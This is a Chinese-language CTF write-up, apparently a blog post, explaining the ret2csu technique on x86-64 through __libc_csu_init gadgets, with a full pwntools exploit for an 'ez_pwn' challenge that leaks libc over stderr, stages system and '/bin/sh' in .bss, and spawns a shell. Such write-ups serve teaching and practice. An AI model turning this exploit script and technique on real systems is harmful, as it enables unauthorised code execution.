CSU

原理

在64位系统中,前6个参数是由寄存器传递的,但是是很难在程序中找到每一个的gadget,这时候就可以利用__libc_csu_init中的gadget

.text:0000000000401260 ; void _libc_csu_init(void)
.text:0000000000401260                 public __libc_csu_init
.text:0000000000401260 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401260 ; __unwind {
.text:0000000000401260                 endbr64
.text:0000000000401264                 push    r15
.text:0000000000401266                 lea     r15, __frame_dummy_init_array_entry
.text:000000000040126D                 push    r14
.text:000000000040126F                 mov     r14, rdx
.text:0000000000401272                 push    r13
.text:0000000000401274                 mov     r13, rsi
.text:0000000000401277                 push    r12
.text:0000000000401279                 mov     r12d, edi
.text:000000000040127C                 push    rbp
.text:000000000040127D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401284                 push    rbx
.text:0000000000401285                 sub     rbp, r15
.text:0000000000401288                 sub     rsp, 8
.text:000000000040128C                 call    _init_proc
.text:0000000000401291                 sar     rbp, 3
.text:0000000000401295                 jz      short loc_4012B6
.text:0000000000401297                 xor     ebx, ebx
.text:0000000000401299                 nop     dword ptr [rax+00000000h]
.text:00000000004012A0
.text:00000000004012A0 loc_4012A0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004012A0                 mov     rdx, r14
.text:00000000004012A3                 mov     rsi, r13
.text:00000000004012A6                 mov     edi, r12d
.text:00000000004012A9                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012AD                 add     rbx, 1
.text:00000000004012B1                 cmp     rbp, rbx
.text:00000000004012B4                 jnz     short loc_4012A0
.text:00000000004012B6
.text:00000000004012B6 loc_4012B6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012B6                 add     rsp, 8
.text:00000000004012BA                 pop     rbx
.text:00000000004012BB                 pop     rbp
.text:00000000004012BC                 pop     r12
.text:00000000004012BE                 pop     r13
.text:00000000004012C0                 pop     r14
.text:00000000004012C2                 pop     r15
.text:00000000004012C4                 retn
.text:00000000004012C4 ; } // starts at 401260
.text:00000000004012C4 __libc_csu_init endp

这里我们重点关注loc_4012A0loc_4012B6。可以通过loc_4012B6控制r12r13r14,再retloc_4012A0间接控制传参寄存器。但需要注意的是:控制rdi的指令是mov edi, r12d,只能控制4字节。

csu_pop_addr=0x4012BA
csu_call_addr=0x4012A0

def csu(r15, r12, r13, r14, rbp, rbx, func_addr):

    # rdx=r14
    # rsi=r13
    # edi=r12d
    # rbp=rbx+1
    # call->r15+rbx*8
    r15 = r15 - rbx * 8

    rop = b''
    rop += p64(csu_pop_addr)
    rop += p64(rbx)
    rop += p64(rbp)
    rop += p64(r12)
    rop += p64(r13)
    rop += p64(r14)
    rop += p64(r15)
    rop += p64(csu_call_addr)
    rop += b'A' * 0x38  # 0x30(pop)+0x8(因为pop前面还有一次rsp+8,所以补齐)

    rop += p64(func_addr)
    return rop

编写EXP使可以定义上面的函数便利csu脚本的编写。

例题

ez_pwn的附件.zip - 蓝奏云

$ checksec ./pwn
[*] '/home/tracs/PWN/FS_PWN/ez_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3f9000)
    RUNPATH:    b'/home/tracs/PWN/FS_PWN/ez_pwn'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  write(1, "Close your eye, and you are blind now.", 0x26uLL);
  close(1);
  vuln();
  return 0;
}
ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
  return read(0, buf, 0x200uLL);
}

源程序没开PIECanary,且存在很大的溢出漏洞,但是关掉了stdout=1,也没有再程序内找到gadget,也不存在白给的system。故而可以用csu来控制寄存器传参,并且需要用stderr=2来泄露libc地址(在使用上,stderr=2stdout=1没有明显的区别)。(上文__libc_csu_init摘抄自此题,所以下文直接用上文的地址)

io.recvuntil(b'Close your eye, and you are blind now.')

payload_1=b'A'*0x28
payload_1+=csu(
    r15=elf.got['write'],
    r12=2,
    r13=elf.got['write'],
    r14=8,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
)
print('payload_1################################################')
pause()
io.sendline(payload_1)

leak=io.recvn(8)
write_addr=u64(leak)
log.success('write_addr:'+hex(write_addr))
libc.address=write_addr - libc.symbols['write']
log.success('libc_addr:'+hex(libc.address))

libc_system=libc.symbols['system']
log.success('libc_system:'+hex(libc_system))
# libc_binsh=next(libc.search(b'/bin/sh'))
# log.success('libc_binsh:'+hex(libc_binsh))

利用payload_1可以泄露libc地址,我们后续再利用libc地址get shell

bss_addr=elf.bss()+0x300
log.success('bss_addr:'+hex(bss_addr))
payload_2=b'A'*0x28
payload_2+=csu(
    r15=elf.got['read'],
    r12=0,
    r13=bss_addr,
    r14=8,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
)
print('payload_2################################################')
pause()
io.sendline(payload_2)
print('bss->libc_system##############################################')
pause()
io.send(p64(libc_system))

因为csu_call_addr里面的callcall [r15+rbx*8],将寄存器内地址解引用了一次,所以我们需要先吧libc_ststem的地址放在一个可写的位置。同时这里重新从main跑一遍,没有io.recvuntil(b'Close your eye, and you are blind now.')的原因在于第一次main的时候关掉了stdoutwrite(1, "Close your eye, and you are blind now.", 0x26uLL)将不会输出任何东西。

payload_3=b'A'*0x28
payload_3+=csu(
    r15=elf.got['read'],
    r12=0,
    r13=bss_addr+0x8,
    r14=8,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
)
print('payload_3##############################################')
pause()
io.sendline(payload_3)
print('/bin/sh->bss+0x8##############################################')
pause()
io.send(b'/bin/sh\x00')

因为rdi作为第一个参数只能传递4字节,而libc_binsh=next(libc.search(b'/bin/sh'))因为ASLR的随机化,往往会有6字节,所以我们就不利用libc/bin/sh的字符而是写在.bss内。

payload_4=b'A'*0x28
ret_addr=0x401206
payload_4+=p64(ret_addr)
payload_4+=csu(
    r15=bss_addr,
    r12=bss_addr+0x8,
    r13=0,
    r14=0,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
) 
print('payload_4##############################################')
pause()
io.sendline(payload_4)

最后执行systerm(/bin/sh,0,0)

from pwn import *

context(arch='amd64',os='linux')
context.log_level='debug'

pwn='./pwn'
elf=ELF(pwn)
libc=elf.libc

remote_f=0

if remote_f:
    io=remote('xxxxx',12345)
else:
    io=process(pwn)

def dbg():
    gdb.attach(io)
    pause()

def csu(r15, r12, r13, r14, rbp, rbx, func_addr):

    # rdx=r14
    # rsi=r13
    # edi=r12d
    # rbp=rbx+1
    # call->r15+rbx*8
    r15 = r15 - rbx * 8

    rop = b''
    rop += p64(csu_pop_addr)
    rop += p64(rbx)
    rop += p64(rbp)
    rop += p64(r12)
    rop += p64(r13)
    rop += p64(r14)
    rop += p64(r15)
    rop += p64(csu_call_addr)
    rop += b'A' * 0x38  # 0x30(pop)+0x8(因为pop前面还有一次rsp+8,所以补齐)

    rop += p64(func_addr)
    return rop

csu_pop_addr=0x4012BA
csu_call_addr=0x4012A0

###############################################################

io.recvuntil(b'Close your eye, and you are blind now.')

payload_1=b'A'*0x28
payload_1+=csu(
    r15=elf.got['write'],
    r12=2,
    r13=elf.got['write'],
    r14=8,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
)
print('payload_1################################################')
pause()
io.sendline(payload_1)

leak=io.recvn(8)
write_addr=u64(leak)
log.success('write_addr:'+hex(write_addr))
libc.address=write_addr - libc.symbols['write']
log.success('libc_addr:'+hex(libc.address))

libc_system=libc.symbols['system']
log.success('libc_system:'+hex(libc_system))
# libc_binsh=next(libc.search(b'/bin/sh'))
# log.success('libc_binsh:'+hex(libc_binsh))

bss_addr=elf.bss()+0x300
log.success('bss_addr:'+hex(bss_addr))
payload_2=b'A'*0x28
payload_2+=csu(
    r15=elf.got['read'],
    r12=0,
    r13=bss_addr,
    r14=8,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
)
print('payload_2################################################')
pause()
io.sendline(payload_2)
print('bss->libc_system##############################################')
pause()
io.send(p64(libc_system))

payload_3=b'A'*0x28
payload_3+=csu(
    r15=elf.got['read'],
    r12=0,
    r13=bss_addr+0x8,
    r14=8,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
)
print('payload_3##############################################')
pause()
io.sendline(payload_3)
print('/bin/sh->bss+0x8##############################################')
pause()
io.send(b'/bin/sh\x00')

payload_4=b'A'*0x28
ret_addr=0x401206
payload_4+=p64(ret_addr)
payload_4+=csu(
    r15=bss_addr,
    r12=bss_addr+0x8,
    r13=0,
    r14=0,
    rbp=1,
    rbx=0,
    func_addr=elf.symbols['main']
) 
print('payload_4##############################################')
pause()
io.sendline(payload_4)

io.interactive()

完整EXP如上。但依然存在的问题是get shell后因为main->close(1);的缘故,ls、cat等都无法正常输出东西。需要先执行bash 1>&2:启动一个子shell,将命令的标准输出重定向到标准错误。
上面的解法确实有些繁琐,你可以尝试在泄露libc地址后用One_gadgetget shell

posted @ 2026-03-07 20:23  Tracs  阅读(3)  评论(0)    收藏  举报